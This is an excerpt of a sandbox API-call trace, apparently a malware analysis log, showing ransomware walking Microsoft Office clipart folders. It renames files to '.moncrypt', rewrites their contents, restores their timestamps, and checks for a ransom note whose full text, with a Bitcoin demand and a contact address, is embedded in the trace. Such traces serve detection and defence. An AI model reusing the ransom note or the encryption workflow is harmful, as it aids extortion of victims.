lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0062.032] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0062.032] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0062.032] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0062.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0062.033] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0062.033] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0062.033] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0062.033] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0062.033] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0062.033] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0062.033] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0062.033] CloseHandle (hObject=0x188) returned 1 [0062.033] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x687c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07761_.WMF", cAlternateFileName="")) returned 1 [0062.033] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0062.033] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0062.033] GlobalLock (hMem=0x44000c) returned 0x550170 [0062.033] GlobalHandle (pMem=0x550170) returned 0x44000c [0062.033] GlobalUnlock (hMem=0x44000c) returned 0 [0062.033] GlobalLock (hMem=0x44000c) returned 0x550170 [0062.033] GlobalLock (hMem=0x440004) returned 0x557b78 [0062.033] GlobalHandle (pMem=0x550170) returned 0x44000c [0062.033] GlobalUnlock (hMem=0x44000c) returned 0 [0062.034] GlobalHandle (pMem=0x557b78) returned 0x440004 [0062.034] GlobalUnlock (hMem=0x440004) returned 0 [0062.034] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0062.034] CharLowerBuffW (in: lpsz="BD07761_.WMF", cchLength=0xc | out: lpsz="bd07761_.wmf") returned 0xc [0062.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0062.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0062.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0062.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0062.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0062.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0062.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6í\x18", lpUsedDefaultChar=0x0) returned 1 [0062.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7í\x18", lpUsedDefaultChar=0x0) returned 1 [0062.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7í\x18", lpUsedDefaultChar=0x0) returned 1 [0062.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0062.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0062.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0062.034] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0062.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF", lpUsedDefaultChar=0x0) returned 63 [0062.034] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0062.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\BD07761_.WMF", lpUsedDefaultChar=0x0) returned 4 [0062.035] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x687c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07761_.WMF", cAlternateFileName="")) returned 0x54e240 [0062.035] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0062.035] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0062.035] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0062.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF", dwFileAttributes=0x20) returned 1 [0062.036] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0062.036] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.moncrypt")) returned 1 [0062.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0062.036] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0062.036] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x687c [0062.036] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0062.037] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x4000, lpOverlapped=0x0) returned 1 [0062.038] GlobalLock (hMem=0x440004) returned 0x557b78 [0062.038] GlobalLock (hMem=0x44000c) returned 0x550170 [0062.038] GlobalHandle (pMem=0x550170) returned 0x44000c [0062.038] GlobalUnlock (hMem=0x44000c) returned 0 [0062.038] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0062.038] GlobalLock (hMem=0x44000c) returned 0x55db88 [0062.038] GlobalHandle (pMem=0x55db88) returned 0x44000c [0062.038] GlobalUnlock (hMem=0x44000c) returned 0 [0062.038] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0062.038] GlobalLock (hMem=0x44000c) returned 0x55db88 [0062.038] GlobalHandle (pMem=0x557b78) returned 0x440004 [0062.038] GlobalUnlock (hMem=0x440004) returned 0 [0062.039] GlobalHandle (pMem=0x55db88) returned 0x44000c [0062.039] GlobalUnlock (hMem=0x44000c) returned 0 [0062.039] GlobalLock (hMem=0x44000c) returned 0x550170 [0062.039] GlobalHandle (pMem=0x550170) returned 0x44000c [0062.039] GlobalUnlock (hMem=0x44000c) returned 0 [0062.039] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0062.039] GlobalLock (hMem=0x44000c) returned 0x557b78 [0062.039] GlobalHandle (pMem=0x557b78) returned 0x44000c [0062.039] GlobalUnlock (hMem=0x44000c) returned 0 [0062.039] ReadFile (in: hFile=0x188, lpBuffer=0x1e390f8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesRead=0x18ea34*=0x20, lpOverlapped=0x0) returned 1 [0062.040] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0062.040] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x4020, lpOverlapped=0x0) returned 1 [0062.040] SetFilePointer (in: hFile=0x188, lDistanceToMove=26748, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x687c [0062.040] WriteFile (in: hFile=0x188, lpBuffer=0x1e390f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesWritten=0x18ea30*=0x20, lpOverlapped=0x0) returned 1 [0062.041] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0062.041] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0062.052] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0062.052] CloseHandle (hObject=0x188) returned 1 [0062.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0062.164] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0062.164] CloseHandle (hObject=0x188) returned 1 [0062.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0062.164] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0062.165] GlobalLock (hMem=0x44000c) returned 0x550170 [0062.165] GlobalHandle (pMem=0x550170) returned 0x44000c [0062.165] GlobalUnlock (hMem=0x44000c) returned 0 [0062.165] GlobalLock (hMem=0x44000c) returned 0x550170 [0062.165] GlobalLock (hMem=0x440004) returned 0x557b78 [0062.165] GlobalHandle (pMem=0x550170) returned 0x44000c [0062.165] GlobalUnlock (hMem=0x44000c) returned 0 [0062.165] GlobalHandle (pMem=0x557b78) returned 0x440004 [0062.165] GlobalUnlock (hMem=0x440004) returned 0 [0062.165] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0062.165] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0062.165] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0062.165] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0062.165] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0062.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0062.166] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0062.166] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0062.166] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0062.166] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0062.166] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0062.166] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0062.166] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0062.166] CloseHandle (hObject=0x188) returned 1 [0062.166] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x133c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07804_.WMF", cAlternateFileName="")) returned 1 [0062.166] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0062.166] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0062.167] GlobalLock (hMem=0x440004) returned 0x550170 [0062.167] GlobalHandle (pMem=0x550170) returned 0x440004 [0062.167] GlobalUnlock (hMem=0x440004) returned 0 [0062.167] GlobalLock (hMem=0x440004) returned 0x550170 [0062.167] GlobalLock (hMem=0x44000c) returned 0x557b78 [0062.167] GlobalHandle (pMem=0x550170) returned 0x440004 [0062.167] GlobalUnlock (hMem=0x440004) returned 0 [0062.167] GlobalHandle (pMem=0x557b78) returned 0x44000c [0062.167] GlobalUnlock (hMem=0x44000c) returned 0 [0062.167] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0062.167] CharLowerBuffW (in: lpsz="BD07804_.WMF", cchLength=0xc | out: lpsz="bd07804_.wmf") returned 0xc [0062.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0062.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0062.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0062.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0062.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0062.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0062.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0062.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8í\x18", lpUsedDefaultChar=0x0) returned 1 [0062.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7í\x18", lpUsedDefaultChar=0x0) returned 1 [0062.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0062.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0062.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0062.167] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0062.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF", lpUsedDefaultChar=0x0) returned 63 [0062.168] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0062.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\BD07804_.WMF", lpUsedDefaultChar=0x0) returned 4 [0062.168] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF", 